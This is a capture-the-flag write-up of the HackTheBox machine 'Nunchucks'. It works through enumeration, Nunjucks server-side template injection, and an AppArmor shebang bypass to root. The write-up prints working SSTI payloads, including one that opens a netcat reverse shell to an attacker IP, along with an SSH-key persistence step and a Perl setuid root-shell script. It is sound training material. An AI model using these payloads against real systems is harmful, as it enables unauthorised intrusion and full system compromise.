Nunchucks - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Nunchucks is an easy-rated machine that demonstrates a critical Server-Side Template Injection (SSTI) vulnerability in a NodeJS/Nunjucks-based web application, combined with an AppArmor profile bypass to achieve root access. The attack chain begins with identifying SSTI in a newsletter signup form, escalating to remote code execution, then leveraging a misconfigured Perl setuid binary with a flawed AppArmor profile to gain root privileges.

TL;DR: Subdomain enumeration → SSTI in Nunjucks template → RCE as david → SSH access → AppArmor bypass via Perl shebang script → Root shell.

Reconnaissance

Port Scanning

# Initial port discovery
nmap -p- --min-rate=1000 -T4 10.10.11.122

# Detailed service scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.122 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.11.122

Results:

• Port 22: OpenSSH 7.4p1 (SSH)
• Port 80: Nginx (HTTP redirects to HTTPS)
• Port 443: Nginx (HTTPS)
• Domain Identified: nunchucks.htb

Service Enumeration

Nginx Web Application:

The main website at https://nunchucks.htb advertises a SaaS platform for creating web stores. The homepage features:

• Registration form (currently closed)
• Login form (disabled)
• Footer link indicating “Store: Coming soon!”

This suggests additional subdomains may exist for the web store functionality.

Subdomain Enumeration:

# Virtual host discovery
gobuster vhost -u https://nunchucks.htb \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -k

A store subdomain was discovered. Update /etc/hosts:

echo "10.10.11.122 nunchucks.htb store.nunchucks.htb" | sudo tee -a /etc/hosts

The store subdomain (store.nunchucks.htb) displays a “Coming soon” message but includes a newsletter signup form that accepts email addresses.

Vulnerability Assessment

Identified Vulnerabilities:

1. Server-Side Template Injection (SSTI) - Nunjucks template engine processing user input without proper sanitization
2. Missing Input Validation - Email field reflects user input directly in response
3. Insecure Perl Capabilities - Setuid bit on Perl binary
4. AppArmor Profile Bypass - Shebang-based bypass of AppArmor restrictions

Initial Foothold

SSTI Exploitation

Testing for SSTI:

When submitting an email to the newsletter form, the input is reflected back. Testing with mathematical expressions:

Email: {{7*7}}
Response: 49

This confirms SSTI vulnerability. The application is using NodeJS Express with the Nunjucks template engine.

Escalating to RCE:

Using the Nunjucks SSTI payload structure to execute system commands:

# Proof of concept - command execution test
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}

This payload executes arbitrary shell commands through the child_process module.

Gaining a Reverse Shell:

Set up a netcat listener:

nc -lvvp 4444

Craft the SSTI payload with a mkfifo netcat reverse shell. In BurpSuite, capture the POST request to the newsletter endpoint and inject:

{{range.constructor("return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 4444 >/tmp/f')")()}}

This establishes a reverse shell connection as the david user.

Reading the User Flag:

cat ~/user.txt

Privilege Escalation

Establishing a Stable SSH Session

Generate an SSH key pair on the attack machine and add the public key to david’s authorized_keys:

# On attack machine
cat ~/.ssh/id_rsa.pub

# On target (via reverse shell)
echo "<YOUR_PUBLIC_KEY>" >> ~/.ssh/authorized_keys

# Back on attack machine
ssh david@nunchucks.htb

AppArmor Profile Bypass

Discovering Perl Capabilities:

getcap -r /

Output reveals:

/usr/bin/perl = cap_setuid+ep

The Perl binary has setuid capability, allowing it to change to root context.

Initial Perl Exploitation Attempts:

# This command returns "root" indicating setuid works
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'

# But direct file reads fail - AppArmor blocks access
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /etc/shadow";'
# Permission denied

Analyzing the AppArmor Profile:

cat /etc/apparmor.d/usr.bin.perl

The profile shows:

• capability setuid - allows setuid capability
• deny /root/* rwx - denies access to /root
• deny /etc/shadow rwx - denies shadow file access
• Whitelists specific binaries: /usr/bin/id, /usr/bin/ls, /usr/bin/cat, /usr/bin/whoami
• References /opt/backup.pl mrix - allows execution of backup script

AppArmor Bypass Technique:

According to the AppArmor bug tracker (Launchpad), when a script includes the shebang of a restricted application, the AppArmor profile is not applied to the script execution, only to the binary itself.

Create a new Perl script with the appropriate shebang:

# On target machine
cat > /tmp/exploit.pl << 'EOF'
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
EOF

Set executable permissions and run:

chmod +x /tmp/exploit.pl
/tmp/exploit.pl

This provides a root bash shell, bypassing the AppArmor restrictions through the shebang-based vulnerability.

Reading the Root Flag:

cat /root/root.txt

Attack Chain Summary

Subdomain Enumeration (store.nunchucks.htb)
         ↓
Newsletter Form Discovery
         ↓
SSTI Testing (7*7 = 49)
         ↓
Nunjucks RCE via child_process
         ↓
Reverse Shell as david user
         ↓
SSH Access (public key authentication)
         ↓
Perl Setuid Discovery (getcap -r /)
         ↓
AppArmor Profile Analysis
         ↓
Shebang-based AppArmor Bypass
         ↓
Root Bash Shell
         ↓
Root Flag Capture

Tools Used

Key Learnings

Techniques Practiced

• Server-Side Template Injection (SSTI) - Identifying and exploiting Nunjucks template engine vulnerabilities
• NodeJS RCE - Leveraging child_process module for command execution through SSTI
• Reverse Shell Techniques - mkfifo-based netcat payload for shell access
• Linux Capabilities - Understanding and enumerating setuid capabilities
• AppArmor Security - Identifying profile misconfiguration and shebang-based bypasses
• Privilege Escalation - Multi-stage escalation from web app user to root
• SSH Key Management - Public key authentication setup for reliable access

Lessons Learned

1. Template Injection Severity - SSTI in modern frameworks (Nunjucks, Jinja2, etc.) directly translates to RCE and should be treated as critical
2. Input Validation is Critical - Even simple email fields must be validated and never passed directly to template engines
3. Capability vs. Profile Enforcement - Linux capabilities alone don’t guarantee security; AppArmor profiles can still restrict privileged operations
4. AppArmor Limitations - Shebang-based script execution can bypass AppArmor restrictions, demonstrating the importance of defense-in-depth
5. Chain of Compromises - This machine demonstrates how multiple minor misconfigurations (SSTI + setuid + AppArmor bypass) create a critical vulnerability chain
6. Real-World Relevance - NodeJS SSTI and AppArmor bypass techniques reflect actual security issues found in production systems

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>